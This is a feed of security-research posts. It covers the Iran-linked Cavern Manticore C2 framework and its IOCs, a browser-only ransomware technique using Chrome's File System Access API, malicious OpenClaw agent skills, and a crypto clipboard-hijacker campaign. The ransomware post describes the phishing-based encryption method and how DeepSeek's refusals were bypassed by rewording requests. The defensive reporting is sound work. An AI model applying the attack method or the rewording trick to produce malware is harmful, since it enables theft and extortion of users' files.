It is worth pausing on a question that comes up with almost every new toolset we look at today: how much of this was written by a person, and how much by an AI coding assistantIn 2026 it is genuinely hard to imagine a project of this size being built with no AI assistance at all, and we would not claim that Cavern was. Boilerplate such as the JSON formatting, the LINQ-heavy collection handling, and the standard P/Invoke signatures could easily have been drafted or completed with a model. That kind of help is so common now that its presence would tell us very little.

What the artifacts do tell us, and tell us clearly, is that a human was significantly and substantively involved in building this framework. The evidence is in the rough edges that a code generator tends to sand off:

  • Error strings written in frustration. The native module dispatcher of the Cavern agent returns "What is this sh*t?! where is get_version?!?" when an export is missing and "DLL not found...Maybe you didn't upload it!!!" when a module is absent. These are first-personprofane, and exasperated. They are the voice of an operator debugging their own tooling, not the neutral phrasing a model defaults to.
  • Typos baked into the binaries. The tunnel module carries "tunnel message receivecd" and "handeling connect ms", and the SQL module builds a query as SELECT TOP({0}) *FROM[{1}].[{2}] with the space dropped before FROM. Small slips like these are what a person produces while typing quickly.
  • Idiosyncratichand-picked names. Hardcoded markers such as the MYMUTEX123HELLP02 / MYMUTEX123HELLP04 mutexes and the leetspeak Cav3rn to Cavern rename are personal choices, the kind of naming a developer reaches for, not output a model would converge on.
  • Inconsistencies across modules. Casing drifts (netapi32.dll in some descriptors, Netapi32.dll in others), debug strings read like scratch notes (No Handler for path [...] ++), and the command grammar is bespoke rather than a library default.

None of these are individually conclusive, but together they form a consistent picture. The higher-level decisions (the three-format compilation strategy, the per-module AppDomain isolation with post-execution unload, the numbered self-update scheme) reflect deliberate design by someone who understood the trade-offs. The low-level texture (the frustration, the typos, the personal naming) reflects hands-on human coding. Our assessment is that Cavern is a human-authored framework, very plausibly built with some AI assistance for routine code, but driven and shaped throughout by a developer rather than generated end to end.

Victimology

Our analysis indicates that Cavern Manticore is primarily focused on Israeli targets, with particular interest in organizations operating in the government and IT sectors. Recent campaigns suggest that the threat actor possesses a strong understanding of the complex IT supplier chains within Israel’s cyber ecosystem. In several cases, we observed evidence of the actor moving from an initial compromised IT provider to a second-hop provider before ultimately reaching the intended target organization. This activity highlights the operational value of trusted service-provider relationships, particularly where Remote Monitoring and Management (RMM) solutions are deployed. By abusing these tools, the actor can move laterally between victims and deliver malicious software disguised as legitimate updates. The actor also appears to leverage browser-based remote desktop technologies to access targets of interest and, in some cases, abuse built-in features such as remote printing to exfiltrate data when clipboard-based copy-paste or file-transfer capabilities are restricted.

Attribution

During our analysis of an older Cavern Manticore toolset, we identified a communication module (CAV3RN_Http_Module) that uses a webshell-style ASP.NET handler, cac.aspx, hosted on a separate IIS server at one of two attacker-controlled or attacker-deployed domains and used as the command-and-control endpoint. The use of victim-side infrastructure to proxy C2 traffic, combined with XOR-based obfuscation, Base64 encoding, and a fixed verb set per backdoor, is consistent with techniques we have previously observed in operations attributed to OilRig subgroup named Lyceum. Additional overlaps further support a possible Iranian nexus: the targeting of SysAid servers has been observed in past activity linked to Iranian MOIS-aligned actors, including MuddyWater, and this campaign similarly focused on major IT providers in Israel. Finally, WHOIS analysis of the root domain observed in the campaign, hospitalinstallation[.]com, showed that it was registered through Fars Data, an Iranian hosting provider. Taken together, these technical evidences suggest a connection to Iranian-nexus threat activity.

Conclusion

Cavern Manticore illustrates the continued evolution of Iran-nexus cyber capabilities, exposing a mature and modular C2 framework that can be rapidly adapted to new campaigns, targets, and operational requirements. The adversary’s ability to gain access to organizations in the defense and government sectors during the U.S. military campaign “Operation Epic Fury” demonstrates both a high operational tempo and a disciplined approach to target selection.

This activity also emphasizes the persistent risk posed by supply-chain compromise. In several cases, a compromised IT supplier was not the final objective, but rather the first hop toward a higher-value target. By abusing trusted access relationships, the operators were able to move across organizational boundaries while blending into legitimate administrative workflows.

The campaign further highlights the expanding role of Remote Monitoring and Management tools (RMM) as an evolution of traditional living-off-the-land techniques. For defenders, this reinforces the need to monitor anomalous activity originating from otherwise benign RMM software, enforce strict access controls, limit remote sessions, and reduce the overall attack surface exposed through third-party management infrastructure.

By decoupling its core infrastructure from mission-specific modules, Cavern Manticore’s operators gain both operational agility and durability under defensive pressure. This modularity allows them to adjust capabilities per campaign while preserving the underlying framework. For defenders, the key takeaway is clear: detection strategies must move beyond static IOCs and focus on malware behavior patterns, infrastructure, and abuse of trusted administrative channels.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of this attack and protect against threats described in this report.

Security Recommendation

Conduct a focused review of logs, process execution events, and file activity involving uxtheme.dll, as this DLL is known to be abused in DLL sideloading attack chains. Security teams should also examine the C:\ProgramData directory for unusual DLL placement, recently created folders, unsigned binaries, or execution patterns that may indicate attempted or successful DLL sideloading.

IOCs

Hashes

SHA-256Component
37e123bd7998af4eae32718ce254776f36365a80ba56952593dab46f536d4066uxtheme.dll (Cavern Agent, build 02)
92cae0ad7f98f51a14bcc0ee05e372ebdc29ea96ea7bd161bd3f55198767603buxtheme.dll (Cavern Agent, build 04)
5dc08bda6919a57a85e5f38b857985fa71529ca39c8299868d5a49a987e19b18uxtheme.dll (Cavern Agent, oldest)
a4aa217def4c38f4ecacdf47b1cd687f60cc74c18ab75195be3c4357a790bf41n-HTCommp.dll (communication module)
b630c96d3763182533d4fb9b614134382bd644cb02c6c1c3ade848b6ecc31e86n-HTCommp.dll (communication module)
8e9425c0b46eeb516610ae913d13f2b3f44a023043cb099277031d4ec38a6134mhm.dll (file manager module)
0a3663648a46771a5a5423ad01e91a4e7ba825595e99fa934cb35cbb4848adc8mhm.dll (file manager module, older “Cav3rn” variant)
5394d3b220de4695f731647e3a70545f951a8912ceb0c6585efab8d6842e8b42db.dll (SQL database browser module)
30cb4679c4b8599eeb3d63a551716475c6332bdc4d4b4e3de0964aadb3092a10ode.dll (LDAP / Active Directory module)
2cb1ad3b22db8e3666ea138fee88034a87a87cf43db3d3265a675ebf221379b0n-ten.dll (network reconnaissance module)
7d586fb7f94182a8e2a0e53c7e4deb898066da029da5cd9972a94a59ca6d255an-sws.dll (SOCKS5 / WebSocket tunnel module)
541b1f417b9e42078c3355693a8a492b6a76048850f6549a429e0be99e6819cbOlder Cav3rn agent (earlier non-modular build)
cbc9485db715e1b8cc384fe94b4cceadca4006cda8a5e28adc8848529cfafc93Older Cav3rn agent (earlier non-modular build)
ccf218189c3aadb1c761da14bfda3bae686769031e1e1b10007648bd72e34748Older Cav3rn HTTP module (CAV3RN_Http_Module)

Network

IndicatorType
hospitalinstallation[.]comParent domain
auth[.]hospitalinstallation[.]comC2 (older agent)
google[.]com[.]hospitalinstallation[.]comC2 (newer agents)
adserviceupdate[.]comC2 domain invoked by the older Cav3rn HTTP module at https://adserviceupdate[.]com/cac.aspx; part of the older Cav3rn agent config
hygienehistory[.]comC2 domain invoked by the older Cav3rn HTTP module at https://hygienehistory[.]com/cac.aspx; part of the older Cav3rn agent config

Host Artifacts

IndicatorContext
MYMUTEX123HELLP / MYMUTEX123HELLP02 / MYMUTEX123HELLP04Mutex names
config.txt with keys ixdintAgent configuration
Cvn.cfg.A / Cvn.cfg.ULegacy alive-time config
C:\Users\rick\Desktop\Modules\cavern\PDB path prefix
cac.aspxOperator-deployed ASP.NET handler at https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx. Carried as configuration by the older Cav3rn agent and the older mhm.dll variant (defined but not invoked by either), and invoked by the older Cav3rn HTTP module.
inpt / outpt working directoriesCommand / result drop dirs for the older Cav3rn agent
.CvnC.png / .CvnA.png / .CvnR.png (JPEG-magic prefixed)PNG-styled steganographic command / default-API / result files used by the older Cav3rn agent

The post Cavern Manticore: Exposing Iran-Linked Modular C2 Framework appeared first on Check Point Research.

Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique

Research by: Alexey Bukhteyev

Key Takeaways

  • AI can turn high-level malicious ideas into concrete techniques, and can independently design and implement novel attack paths that have not yet appeared in real-world campaigns.
  • In this research, DeepSeek connected unrealistic browser-malware concepts with a real browser capability, turning an AI-generated malware hallucination into a plausible browser-native ransomware technique. Although the generated sample was incomplete, it exposed a practical abuse path based on the File System Access API and access to photo directories.
  • The technique does not require a native payload, APK installation, browser exploit, or root access. It relies on social engineering and a legitimate permission prompt exposed by the File System Access API in Google Chrome.
  • The Android scenario is especially concerning because photo directories are high value personal data stores and, unlike iOS, modern Android Chrome versions expose a browser API that allows web pages to read and modify files in those directories after user approval. Using a fake AI image-enhancement workflow gives users a plausible reason to approve folder-level file access. Our PoC demonstrates this browser-only workflow against selected image directories on Android.

Introduction

Over the past several years, large language models have reshaped software development, and malware development has followed the same path. Check Point Research has documented this trend from early experiments showing that AI systems could generate offensive components, to cases of cybercriminals using ChatGPT to create malicious tools, and later to advanced AI-authored malware frameworks such as VoidLink. In some cases, LLMs lowered the barrier enough for users with little or no development experience to produce working offensive code.

As frontier models became better at writing reliable code, including complex security related components, major AI vendors also turned cyber safety into a dedicated control area. Clearly malicious requests involving credential theft, malware deployment, ransomware behavior, persistence, stealth, or unauthorized exploitation are now commonly blocked or refused. OpenAI’s cyber-safety documentation, for example, describes additional safeguards for models classified as having High Cybersecurity Capability, while Anthropic has published reports on detecting and countering cyber misuse of Claude.

DeepSeek then becomes particularly relevant in this context for several reasons:

  • Lower refusal rates for harmful cyber enforcement: compared with Anthropic and OpenAI, DeepSeek models were less consistent refusing harmful cyber requests, including the File System Access API implementation we will be discussing later on this article.
  • Low barrier to access: DeepSeek is free to use via the web interface, widely available, and accessible in regions where other frontier models face regulatory or commercial restrictions. This lowers the cost of repeated malicious experimentation.
  • End-to-end malicious code from a single prompt: in our testing, a working malicious application could often be generated from a single broad prompt. Achieving a comparable result with OpenAI or Anthropic typically requires decomposing the attack into multiple benign-looking requests and manually assembling the generated components.

Putting this all together, these differences make DeepSeek particularly attractive to threat actors: DeepSeek models can turn high‑level malicious ideas into concrete, complete attacks with less expertise than competing platforms.

Check Point Research analyzed nearly 3,000 files attributed to DeepSeek observed in public telemetry over the past year. The dataset included Python, PowerShell, Batch, HTML, JavaScript, VBScript, and other file types. Of these, 1,383 files were classified as malicious or dangerous by either VirusTotal detection or static source analysis. Within this dataset, we found a sample that implemented a dangerous browser-native technique we have not observed exploited in the wild. We refer to it as In-Browser Ransomware. The technique uses a phishing lure to persuade the victim to grant file-system access to a web page; once access is granted, the page can enumerate local files in the selected folder, read and exfiltrate their contents, encrypt and overwrite them, and display a ransom-style message, all without installing a native payload or exploiting the browser.

The underlying browser risk was already known to browser engineers. The File System Access specification explicitly lists ransomware as a security consideration, and the 2023 USENIX Security paper RoB: Ransomware over Modern Web Browsers studied the abuse of the File System Access API to encrypt local files from a malicious web application.

The important finding in our research and what is new, is how the AI model brought these previously documented concepts together, into a realistic and enforceable attack scenario leveraging a method that defenders had originally thought was unfeasible due to browser sandboxing limits: a DeepSeek-attributed malicious sample, generated as an all-in-one malware fantasy, connected this documented platform risk to a realistic phishing-style web application, demonstrating a viable end-to-end attack chain. An attacker does not need to know that a browser exposes a file-system API. They can ask for an impossible-sounding outcome – a website that steals files, captures keystrokes, takes screenshots, encrypts files, and demands payment – and the model may connect the request to a real browser capability. Basically, the AI model showed an ability to reason across existing knowledge and combined multiple known components into a coherent attack workflow that could be readily used by an attacker. This illustrates how frontier AI models may move beyond simply enhancing existing attacker techniques to lowering the expertise required to operationalize complex attack chains by connecting knowledge in ways that previously relied on human experience and creativity.

A Noisy Sample With One Important Idea

The sample that caught our attention is SHA256

07c39f79ab92fb21557b82283472dce1c112f577d796111fb752c3c6d84c86b5, a Python Flask application that serves victim-facing HTML and JavaScript from embedded templates and also includes backend routes intended to receive information from the victim and provide an administration panel.

We do not have the prompt submitted to the AI model that produced this sample. Judging by the code structure, function names, and comments, it was likely formulated very broadly such as something similar to this example: create a universal malicious tool that runs through the browser and collects as much victim data as possible, encrypts files, and demands ransom. In a single front-end, the generated code assembled routines and stubs for keylogging, clipboard monitoring, form and network-request interception, Discord-token collection, crypto-wallet and payment-card discovery, geolocation requests, webcam and microphone access, screenshots, local-file access, Chrome exploit stubs, “persistence,” and a ransomware-style overlay. This does not mean the sample actually implements all of these capabilities. A more accurate reading is that it is an AI-generated blueprint in which the model tried to translate familiar capabilities of native stealers and ransomware tools into a web page opened in the browser.

The victim-facing page is disguised as a Discord avatar AI upscaler:

Victim-facing lure disguised as a Discord avatar AI upscaler in the DeepSeek attributed InfernoGrabber sample
Figure 1 – Victim-facing lure disguised as a Discord avatar AI upscaler in the DeepSeek attributed InfernoGrabber sample.

Clicking the button on the victim-facing lure page is intended to start the malicious browser-side sequence, although the generated control flow is inconsistent and does not complete reliably. After a fake processing step, the page is intended to display a ransomnote-style overlay under the name InfernoGrabber v9.0. The message claims that passwords, credit cards, and personal files were encrypted, demands Bitcoin, and displays a countdown threatening publication of private data.

InfernoGrabber ransom-note overlay.
Figure 2 – InfernoGrabber ransom-note overlay.

Most of the functionality claimed in the sample collapses at the browser boundary. A normal web page can observe activity inside its own origin, capture input events delivered to its own DOM, request browser-mediated permissions, access storage scoped to its own origin, and render frightening overlays. It remains constrained by the browser security model.

In this sample, the “desktop screenshot” routine captures the rendered web page, the keylogger observes keystrokes only while the user interacts with the page, webcam and microphone capture depend on browser permission prompts, and the Discord-token stealing logic searches storage available to the current origin. The “persistence” logic relies on browser storage and a service worker registration attempt.

Much of the sample therefore reads as an AI hallucination produced in response to an overly broad prompt or to requirements that a normal web page cannot satisfy. The exception was the file-access workflow, where the generated code reached for a real browser primitive with practical abuse potential.

The generated JavaScript referenced:

  • showOpenFilePicker();
  • showDirectoryPicker();
  • recursive traversal of a user-selected directory;
  • reading selected files through browser file handles;
  • sending file contents to the Flask backend;
  • displaying a ransomware-style warning after the interaction.

The File System Access API is a legitimate browser capability designed for web applications such as editors, IDEs, and creative tools. After the user grants access, a web application can read files and folders from the local device. The API also supports write access and directory enumeration under browser permission controls.

The technique is limited to browsers that expose the picker-based File System Access API. At the time of writing, this primarily means Chromium-family browsers: the API shipped on desktop in Chrome 86, and Chrome 132 extended File System Access support to Android and WebView. Firefox and Safari do not expose the same local file and directory picker methods, which limits the immediate attack surface but also concentrates the risk in Chrome-based browsing environments.

The sample lacked a complete and reliable browser-side encryption flow, yet the attack design was concrete: a fake utility convinces the user to grant browser file access, which allows the page to exfiltrate and encrypt files.

The model combined fake OS-level malware claims with a real browser primitive and produced a browser-native file-theft and ransomware scaffold. The sample shows how an LLM can transform an abstract malicious request into a new attack blueprint. The user likely wanted an all-in-one tool: a Discord-themed lure, a stealer, an admin panel, and a ransomware or locker workflow. The model chose a Flask application and a browser frontend as the unifying architecture. In doing so, it connected a hallucinated malware concept to a real platform feature with genuine abuse potential.

Even though we have not yet observed this exact browser-native ransomware pattern widespread in-the-wild campaigns, the technique is still operationally relevant for several reasons:

  • The browser becomes the execution environment: the attack runs entirely inside the browser process, without installing any additional app, dropping a binary, or exploiting a vulnerability. Traditional endpoint protections focus on apps and native payloads; a website that encrypts files after a legitimate-looking permission sits outside those assumptions.
  • Lower friction for victims: opening a web page and clicking “Allow” on a file-access prompt is a normal part of using modern web applications. Users do not intuitively treat this as “running malware”, which makes the social-engineering angle powerful.
  • Cross-platform reach: the same browser-native technique can target any platform where the File System Access API is exposed, we tested on Android and Windows.

From Hallucinated Scaffold to Working PoC

Because the original sample was incomplete, we tested whether the latest DeepSeek model V4 could turn the same browser-native attack idea into a working proof of concept.

When prompted directly to create ransomware, the model consistently refused across all tested modes.

DeepSeek V4 refuses to generate ransomware when prompted directly
Figure 3 – DeepSeek V4 refuses to generate ransomware when prompted directly.

Even though some requests were denied, we managed to succeed in the end. We removed explicit terms such as “ransomware” while preserving the same functionality: a web page that asks the user for access to local files, processes them inside the browser, and leaves the user unable to recover the original content.

In Instant mode, DeepSeek consistently generated HTML/JavaScript code that used the File System Access API to interact with user-selected files.

In Expert mode, the behavior was inconsistent across attempts:

  • several attempts ended in refusal;
  • one generated a non-functional sample;
  • one generated a fully working browser-based ransomware PoC.

One response was especially notable because the model described the result as:

“a crafted trap that combines a convincing AI upscaler interface with hidden ransomware-like behaviors”

This wording shows that the model recognized the malicious nature of the scenario while still continuing the generation.

For comparison, we tested similar requests against ChatGPT and Claude. In our tests, these systems either refused to help or generated constrained browser-safe implementations that did not use the File System Access API.

This does not mean that the same outcome is impossible with other frontier systems. With an incremental approach, a user can ask for separate components that appear benign in isolation, such as a user interface, browser file handling, client-side data transformation, and neutral status messaging, and then assemble them into a harmful workflow by replacing the neutral messages with a ransom note. The difference is the level of steering required. In that scenario, the user needs enough technical understanding to decompose the attack, preserve the malicious objective across separate requests, identify the right browser primitive, and combine the generated pieces manually.

In-Browser Ransomware on Android

To assess the practical risk of this technique, we used an LLM to build a controlled proof-of-concept (PoC) based on the same idea we observed in the DeepSeek-attributed sample: a browser-native ransomware workflow disguised as an AI image upscaler.

On Android, modern Chrome versions expose the picker-based File System Access API to web content. On iOS, Safari does not expose the same File System Access primitives to websites. Access to photos is mediated by the operating system’s app-sandbox and photo-library permissions instead of a web API that can enumerate and modify arbitrary folders. Chrome on iOS uses WebKit which also does not implement File System Access API. As a result, on mobiles, the technique we demonstrate is currently practical on Android Chromium browsers.

At the same time, the attack surface is narrower than arbitrary disk access. The picker-based File System Access API does not let a web page target the whole system disk, and Chromium applies additional restrictions to sensitive locations. In Chromium’s current implementation, broad access to locations such as the user’s home directory, Desktop, Documents, Downloads, Chrome data, application directories, Windows, Program Files, AppData, and several Linux and Android system paths is blocked or constrained. The File System Access specification also explicitly recommends restricting sensitive directories and lists ransomware as one of the risks the API design must account for.

However, selection of the root of the default Pictures and Videos directories was not restricted on any of the tested operating systems (Android and Windows). This capability fits naturally into a social-engineering workflow for a fake photo-processing application.

On desktop, the Pictures folder may contain personal files, but it is usually less central to business workflows than the user’s entire home directory or a Documents directory.

On mobile, the risk profile changes: the photo library is often one of the most valuable local data stores. It may contain years of private photos, identity documents, banking screenshots, medical records, recovery codes, travel documents, work images, and photos of family members. Losing access to this data, or having it exfiltrated, can create personal or business issues from ransomware to blackmail or if the data is sensitive, public disclosure leading to reputational damage and more. Chrome 132 introduced File System Access support on Android, allowing web applications, after user approval, to read and save changes directly to selected files and folders. We tested this capability on several Android devices and confirmed that the latest Chrome version available to us at the time of testing, Chrome 148, also allowed selecting the photo directory, including the root of the DCIM folder.

The workflow on Android looks very natural. The user opens a web page that promises to enhance a photo, selects an image, and is then asked to choose a directory for saving the “enhanced” results. The browser warning that the site will be able to edit files in the selected folder is easy to rationalize in that context: the user expects the service to write processed images back to the device. During the fake processing step, the PoC encrypts pictures inside the selected directory.

Video 1 – Demonstration of a browser-native ransomware PoC on Android using the File System Access API.

The combination of this technique, a natural social-engineering lure, and browser-only execution makes the Android scenario especially concerning. The resulting flow requires no APK installation, no vulnerability exploitation, no native payload, and no root access.

Users generally do not treat opening a web page as a malware execution event, especially when no application is installed and no binary is downloaded. In this case, the browser prompt appears in a context where file access feels expected, while the granted permission gives the page meaningful control over a directory that may contain highly sensitive personal data.

Practical Recommendations for Users

While this research focuses on a controlled PoC, there are concrete steps users can take today to reduce the risk of browser-native ransomware abuse:

Treat browser folder-access prompts as high-stakes decisions: before approving “access to files in a folder”, check which site is asking, which folder is being selected, and whether editing files is truly necessary for the feature you expect. If you are unsure why a site needs write access to an entire directory, decline the request.

Avoid granting websites access to sensitive or irreplaceable data: do not expose folders that contain personal photos, identity documents, recovery codes, or work data unless the site is highly trusted and the need is clear. Prefer selecting a temporary or empty folder for experimental web tools, rather than your main photo library.

Prefer well-established applications for high-value data: for tasks such as backing up photos, editing large collections, or processing sensitive images, use reputable native apps or well-known cloud services instead of newly discovered browser tools with unknown reputation.

Maintain offline and cloud backups of important data: regular backups reduce the leverage attackers gain from encrypting or deleting local files, whether through native ransomware or browser-based techniques.

Keep browsers and mobile OSes updated: browser and OS vendors continue to refine permission models and harden sensitive APIs. Applying updates promptly ensures that you benefit from the latest security controls around features like File System Access.

Be skeptical of AI-branded lures: attackers increasingly disguise malicious flows as “AI” utilities, avatar upscalers, photo enhancers, or productivity tools. A polished AI-themed interface is not a guarantee of safety; apply the same caution you would to any unfamiliar site asking for broad access to local files.

Conclusion

LLM-assisted malware development changes the economics of malicious experimentation. A user with limited technical understanding can describe a harmful outcome, generate code, test the result, adjust the prompt, and repeat the process at very low cost. Tasks that once required a developer, a purchased builder, or prior knowledge of the relevant platform can now be approached through cheap iteration.

This also changes the defender’s problem. Malware generated this way may move the ecosystem away from a limited set of reused families and builders toward a larger volume of disposable, one-off artifacts, each carrying a unique combination of techniques, API usage, and payload logic.

Hallucination adds another important dimension. AI-generated malware can be technically wrong and still reveal practical malicious techniques. When a model tries to satisfy unrealistic requirements, it may search across legitimate platform features and map a malicious goal to an API that actually exists. This process can surface techniques that defenders have not yet seen in the wild, or turn risks previously described mostly in theory into workable attack concepts. The case analyzed in this research shows exactly that: a noisy and partially broken artifact connected a theoretical browser risk to a practical browser-only ransomware technique.

In this case, the user likely asked for an impossible web application, a single browser page that behaves like a fully features stealer and ransomware agent. The model could not satisfy all of those requirements correctly, but in the process of trying, it searched across legitimate browser features and anchored part of the fantasy to a real API: the File System Access API.

This illustrates a broader risk:

  • A non-expert attacker does not need to know that such an API exists or how to abuse it.
  • By describing a high-level malicious outcome in natural language, they can cause the model to discover and connect the malicious goal to previously under-explored platform capabilities.
  • The resulting prototype can then be refined into a working PoC with minimal additional prompting or manual editing.

In other words, AI is not only lowering the barrier for reimplementing existing malware techniques; it is also capable of bridging the gap between purely theoretical risks and practical, novel attacks that defender have not yet seen deployed in the wild.

Historically, new attack techniques emerged through human experimentation, experience, and creativity. Frontier AI changes that dynamic. Rather than being constrained by conventional thinking or established attacker playbooks, AI can reason across existing knowledge and synthesize it in unexpected ways, connecting known capabilities into practical attack chains. The real shift is not that AI is inventing entirely new vulnerabilities, but that it may identify combinations and attack paths that humans had not previously recognized or operationalized.

At the time of analysis, we found no evidence that this technique had been adopted as an in-the-wild malware pattern. The original DeepSeek-attributed sample was incomplete and failed to implement the full attack reliably. However, our testing showed how little effort is required to transform the same idea into a fully working implementation using modern LLMs. The resulting workflow is especially concerning on mobile devices, where a seemingly legitimate request for access to a photo directory can expose highly sensitive personal data to encryption, exfiltration, or both. From a defensive perspective, browser folder-access prompts should be treated as security decisions rather than routine clicks. Before granting a website access to an entire folder, users should review which site is asking, which folder is being selected, whether file modification is allowed, and whether the permission matches the action they intended. Users should avoid granting websites access to directories containing sensitive, private, or irreplaceable data whenever possible.

The post Browser-Only Ransomware: From LLM Hallucinations to a Practical Attack Technique appeared first on Check Point Research.

OpenClaw: risks for the users and how to mitigate them

OpenClaw, which was previously known as Clawdbot and Moltbot, is today one of the most successful and fast‑growing ecosystems for AI agents, recognized worldwide. The project quickly became popular with users because of its flexibility and ability to solve fairly complex tasks that previously required a lot of time for automation and execution. A dedicated marketplace appeared quickly after the project started gaining traction, where developers and users began publishing tools that integrate with OpenClaw. Currently, employees all over the world use OpenClaw to automate their tasks, often unaware of risks this practice introduces to them and their employers.

In this article we will examine several security aspects of OpenClaw, look at how attackers can target this system, which vulnerabilities are already known, and how to protect your organization against these issues.

OpenClaw skills

The project’s success was ensured by the fact that the agent accepts natural language instructions, does not require knowledge of programming languages, and allows the use of skills, which expand its capabilities. The overall architecture of OpenClaw can be seen below:

The OpenClaw overall architecture

The OpenClaw overall architecture

As shown in the diagram, the system is designed to be used with agent skills. These skills can reside locally on the system where the agent is installed or they can be obtained from external sources. At the time of writing this article, a dedicated hub named “ClawHub” is used for sharing skills with other users.

One of the key features of OpenClaw skills is that they are easy to create and do not require coding. A skill is in essence a set of commands written in natural language, although it can contain code. Currently, there is a general description of the skill format: it is usually a text file named SKILL.md, although more complex variants may exist. The primary requirement for these files is that they use a plaintext format. To illustrate what this looks like, here is a fragment of a skill:

Openclaw skill example

Openclaw skill example

The applications for OpenClaw skills are quite broad and can include everyday tasks like checking email, performing routine operations and calculations on a computer, as well as more complex pipelines that handle testing, research, or software development. For most actions, the agent requires access to the operating system’s file system, as well as to the tokens and keys of the systems it will interact with. All necessary data are usually provided by users either through environment variables or in plaintext files located alongside the agent.

Since many skills enable automation of work processes, employees worldwide actively use them. This fact, combined with the widespread adoption of the system and the overall popularity of artificial‑intelligence technologies, has attracted attackers to the project.

OpenClaw vulnerabilities

In less than two years, around 530 vulnerabilities have been discovered both in OpenClaw itself and in the underlying technologies. That said, the publication of OpenClaw vulnerabilities in the CVE database began only in February 2026. Below is a breakdown of these vulnerabilities by severity.

Registered vulnerabilities (download)

As shown in the chart, the number of high-severity vulnerabilities is quite large. Most of these vulnerabilities fundamentally involve issues with storing sensitive data and operating with excessively high privileges. Each of them can be exploited to hijack the agent or inject commands that it will execute.

Malicious skills

Besides exploiting vulnerabilities and deceiving users, there are more specific attack vectors against OpenClaw, namely, skills.

Research logically draws a parallel between supply‑chain attacks and the distribution of malicious skills. However, unlike usual supply-chain attacks, creating malicious skills is trivial because there is no longer a need to develop custom malware. Despite this, until February 7, 2026, no skills had undergone even a basic security check, which allowed malicious skills to appear immediately. Our scan of the skill hub in April identified 24 accounts that were distributing more than 600 malicious skills. Overall, open‑source intelligence indicates that over 1100 malicious accounts have been created since January.

Following the investigations and a lengthy effort to clean the skill repository of malicious entries, it was announced that files would undergo preliminary scanning with VirusTotal (VT) and NVIDIA’s SkillSpector. On the one hand, this is a more responsible approach to publishing skills; on the other, because OpenClaw is primarily an agent that executes a set of instructions, detecting malicious activity moves to a different level. Now it is necessary not only to analyze a file for dangerous commands that should be blocked, but also to examine all possible malicious behaviors that could be triggered by a harmful instruction within a skill. An example of a malicious command in natural language:

Example of a malicious command within a skill action

Example of a malicious command within a skill action

An example of a malicious command using a part of a bash command:

Malicious command inside a skill

Malicious command inside a skill

The example in the image and similar malicious skills are detected by Kaspersky products as HEUR:Trojan.ANSI.MalClaw.gen.

In addition, Kaspersky products monitor malicious OpenClaw skill activity on the system. Below are detection statistics from our systems that have identified malicious OpenClaw client behavior. The data for June cover the first half of the month.

Statistics on Kaspersky product detections of OpenClaw malware (download)

As shown in the chart, even despite the measures taken to counter the publication of malicious skills, attacks continue. Therefore, it is important to employ layered protection that isolates the OpenClaw agent from critical data and infrastructure systems. We also recommend checking all skills that enter the organization’s perimeter. For this purpose, Kaspersky Scan Engine is suitable. This solution is designed to protect web applications, proxy servers, network attached storage, and mail gateways. It can be integrated into almost any application, and it is easy to deploy and manage.

Malicious skill detected by Scan Engine

Malicious skill detected by Scan Engine

Additionally, monitor network accesses used by the agent. For this purpose, the project already provides a sandboxing subsystem and various wrappers for working with APIs and services. Last but not least, develop a comprehensive AI policy and make sure your employees never use third-party tools that they are not explicitly allowed to use.

From Stars to Upvotes: Fake Reputation Fueling a Crypto Clipboard Hijacker

Key Points

  • The threat actor uses multiple channels to promote and distribute a Rust clipboard hijacker, starting with a dedicated phishing page as the central hub and extending to GitHub and SourceForge projects promoted by fake accounts. A dedicated YouTube channel, using AI‑generated narrators, suspicious view spikes, and highly positive (likely coordinated) comments, further reinforces the illusion of popularity and trustworthiness.
  • In addition, the threat actor’s tools were also promoted through posts on legitimate news websites. These articles appear to be either paid/promoted posts or content published via compromised news outlets, giving the malware extra legitimacy by placing it alongside trusted news content.
  • The same illusion mechanism extends to VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.


Introduction

In this research, we analyze a clipboard hijacker campaign that is hidden inside a collection of “solutions” and “tools” that claim to give users an unfair advantage. These offers include Solana and Pump.fun sniper bots (automated tools that try to buy new tokens or meme coins faster than other traders), Aviator Predictor (software that claims to predict the outcome of the popular “Aviator” multiplier game), and several crash‑game “predictors” (programs that supposedly forecast when online betting games will stop and “crash”). The operation mainly targets users who are looking for shortcuts and quick profits—particularly crypto owners and online crash‑game gamblers and traders who are attracted by promises of automated gains and “predictable” outcomes.

To make this operation look legitimate and attractive, the threat actor has built an ecosystem across several platforms. A WordPress phishing site serves as the main landing page, while GitHub and SourceForge projects are used to host and distribute the files. These repositories show inflated engagement—such as high numbers of stars, forks, ratings, and downloads—likely generated by “Ghost Networks” of fake accounts. A YouTube channel, featuring AI‑generated narrators and suspicious spikes in views, promotes the same tools and adds another layer of social proof. In addition, the actor abuses sentiment and reputation signals on VirusTotal, where some samples from this campaign receive benign votes and “safe” comments. Combined with the already low detection rate, this creates a misleading impression of safety that can influence both end users and reputation‑based detection systems.

Behind this social‑engineering and promotion layer, the actual payloads delivered to victims are Rust‑based clipboard hijackers for both Windows and macOS. These binaries install persistence, continuously monitor the clipboard for strings that look like cryptocurrency wallet addresses, and replace them with attacker‑controlled wallets from large, embedded lists. The attacker‑controlled cryptocurrency wallets appear to have received multiple transactions, providing the actor with notable illicit gains.


Phishing Page

This phishing website promotes a mix of “edge” tools that all promise easy, unfair advantages. On one side, Solana / Pump.fun / DEX sniper bots claim they can automatically buy and sell new meme coins faster than other traders. On the other, Aviator Predictor and several Crash Predictors pretend to “decode” or “predict” crash‑game results so users can supposedly win more often. In most cases, victims are funneled to this site through links shared on social media, crypto forums, and Telegram channels. The clear targets are crypto owners, gamblers, and traders who are already looking for shortcuts and quick, automated gains.

Figure 1 — Phishing page.

The WordPress author is @JoseCmanXD, and the same name is used for the Telegram contact provided on the website.

Figure 2 — Telegram account provided in phishing page.

From the website, the actor provides links to GitHub, SourceForge, and YouTube. Across these platforms, the associated content shows inflated engagement, including likely manipulated views and interactions, making the tools appear more popular and trustworthy than they really are.

This inflated engagement appears to be driven by the threat actor’s use of multiple Ghost Networks on each platform. These Ghost Networks consist of fake or low-quality accounts and channels that repeatedly promote his tools, boost view counts, and generate likes or comments, thereby creating a false sense of credibility and social proof for potential victims.


GitHub & SourceForge

